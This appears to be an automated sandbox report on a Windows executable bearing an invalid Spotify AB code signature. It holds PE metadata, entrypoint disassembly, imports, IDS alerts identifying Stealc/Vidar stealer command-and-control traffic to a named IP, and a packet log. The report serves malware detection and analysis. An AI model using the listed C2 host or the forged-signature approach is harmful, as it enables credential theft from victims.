TLSH:	CCC4F11235C0C472C97314331AE0CAB49FBEF5340AB659CF67A55B7F4F21282DB25A6A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........9...WU..WU..WU.TT..WU.RTR.WU.ST..WU.VT..WU..VU..WU.cTT..WU.cST..WU.cRT..WU.b^T..WU.b.U..WU.bUT..WURich..WU........PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x406c99
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67032E8E [Mon Oct 7 00:42:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a60bdb87c5f6c8156150002e03d82eb0

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	22/09/2022 01:00:00 20/10/2023 00:59:59
Subject Chain	CN=Spotify AB, O=Spotify AB, L=Stockholm, C=SE, SERIALNUMBER=5567037485, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=SE
Version:	3
Thumbprint MD5:	EF8873EED657F2DFE432077ADBAB8AFB
Thumbprint SHA-1:	3F76C6CC576963831FF44303BFCB98113C51C95E
Thumbprint SHA-256:	890C79F427B0C07DEF096FF66A402E9337F0F2D80DACA1256A7F572F7720DBAA
Serial:	04C530703A210EC1D6F83CB4FE1118C5

Entrypoint Preview

Instruction
call 00007F0E314568A9h
jmp 00007F0E31455E0Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F0E31455FABh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F0E31455F9Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F0E31455F9Eh
add edx, 28h
cmp edx, esi
jne 00007F0E31455F7Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F0E31455F8Bh
push esi
call 00007F0E31456BBDh
test eax, eax
je 00007F0E31455FB2h
mov eax, dword ptr fs:[00000018h]
mov esi, 0048D964h
mov edx, dword ptr [eax+04h]
jmp 00007F0E31455F96h
cmp edx, eax
je 00007F0E31455FA2h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F0E31455F82h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F0E31455F99h
mov byte ptr [0048D968h], 00000001h
call 00007F0E31456253h
call 00007F0E31459170h
test al, al
jne 00007F0E31455F96h
xor al, al
pop ebp
ret
call 00007F0E31461BD4h
test al, al
jne 00007F0E31455F9Ch
push 00000000h
call 00007F0E31459177h
pop ecx
jmp 00007F0E31455F7Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [0048D969h], 00000000h
je 00007F0E31455F96h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b680	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8f000	0x1d5	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x8e800	0x2978
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x90000	0x1ab4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x29ba0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x29ae0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x22000	0x128	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x20e30	0x21000	01ea1c67cad73f249a4c82c41cf3b3f1	False	0.5845762310606061	data	6.6515661176209795	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x22000	0x9d24	0x9e00	bf0fd40db6b8cbfdd2b9ad935069d174	False	0.4352254746835443	data	4.961697091258785	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2c000	0x62590	0x61800	784205a2ed4d2bf205023d25cc41073f	False	0.9919846754807692	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.9933632896789515	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x8f000	0x1d5	0x200	bedff0b62d9114c7342e2e0a5da269f4	False	0.529296875	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x90000	0x1ab4	0x1c00	254553a1660090f91e47681e96ac4cfd	False	0.7257254464285714	data	6.375319232281784	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x8f058	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T03:15:36.789022+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.4	49737	95.164.90.97	80	TCP
2024-10-07T03:15:37.424513+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	95.164.90.97	80	192.168.2.4	49737	TCP
2024-10-07T03:15:38.157020+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	95.164.90.97	80	192.168.2.4	49737	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 03:15:09.944415092 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 7, 2024 03:15:21.378762007 CEST	49672	443	192.168.2.4	173.222.162.32
Oct 7, 2024 03:15:21.378813982 CEST	443	49672	173.222.162.32	192.168.2.4
Oct 7, 2024 03:15:25.170264006 CEST	49723	80	192.168.2.4	199.232.214.172
Oct 7, 2024 03:15:25.175699949 CEST	80	49723	199.232.214.172	192.168.2.4
Oct 7, 2024 03:15:25.175879955 CEST	49723	80	192.168.2.4	199.232.214.172
Oct 7, 2024 03:15:34.533890009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:34.538748980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:34.538923025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:34.574707031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:34.579710007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:35.553884983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:35.554035902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:35.558476925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:35.563417912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:36.171524048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:36.171617031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:36.173557043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:36.178498983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:36.788922071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:36.788940907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:36.789021969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:36.790955067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:36.796145916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:37.415736914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:37.415775061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:37.415810108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:37.415836096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:37.415843010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:37.415868044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:37.415879965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:37.415920019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:37.415955067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:37.419065952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:37.424513102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:38.060400963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:38.060525894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:38.151926041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:38.151997089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:38.157020092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:38.157056093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:38.157085896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:38.157113075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:38.157196045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:38.157248974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:38.157277107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:38.898705959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:38.898791075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:38.901411057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:38.906302929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.104424000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.104463100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.104495049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.104497910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.104523897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.104533911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.104566097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.104569912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.104583979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.104612112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.104732990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.104788065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.104815960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.104845047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.104867935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.104903936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.104916096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.104939938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.104949951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.104985952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.105693102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.105727911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.105756998 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.105765104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.105793953 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.105815887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.217269897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.217313051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.217348099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.217382908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.217403889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.217444897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.217529058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.217572927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.217578888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.217627048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.217629910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.217664957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.217700005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.217758894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.217758894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.218399048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.218452930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.218455076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.218535900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.218547106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.218573093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.218581915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.218610048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.218617916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.218657017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.219260931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.219312906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.219325066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.219350100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.219362974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.219403982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.219408035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.219450951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.219480038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.219540119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.220115900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.220168114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.220205069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.220238924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.220273018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.220289946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.220333099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.220959902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.221028090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.333709002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.333833933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.333865881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.333899975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.333908081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.333935976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.333944082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.333971977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.334007978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.334033012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.334041119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.334043980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.334073067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.334078074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.334104061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.334114075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.334131956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.334165096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.334638119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.334673882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.334700108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.334721088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.334779024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.334836006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.334836960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.334872007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.334903955 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.334907055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.334937096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.334954977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.335213900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.335262060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.335326910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.335361004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.335371017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.335402012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.335418940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.335453033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.335469007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.335485935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.335490942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.335527897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.335545063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.335562944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.335588932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.335613012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.336159945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.336194038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.336213112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.336239100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.336246967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.336282015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.336294889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.336317062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.336328983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.336352110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.336364031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.336389065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.336395979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.336425066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.336436033 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.336476088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.337066889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.337101936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.337140083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.337157011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.337165117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.337201118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.337217093 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.337238073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.337249041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.337272882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.337285042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.337308884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.337318897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.337346077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.337356091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.337392092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.338063955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.338118076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.338121891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.338159084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.338172913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.338193893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.338206053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.338228941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.338242054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.338263035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.338275909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.338299036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.338310003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.338335037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.338345051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.338382959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.338953972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.338989019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.339019060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.339037895 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.444583893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.444643974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.444658995 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.444679022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.444689989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.444726944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.444735050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.444770098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.444782019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.444804907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.444818020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.444839954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.444852114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.444876909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.444884062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.444924116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.444931030 CEST	80	49737	95.164.90.97	192.168.2.4
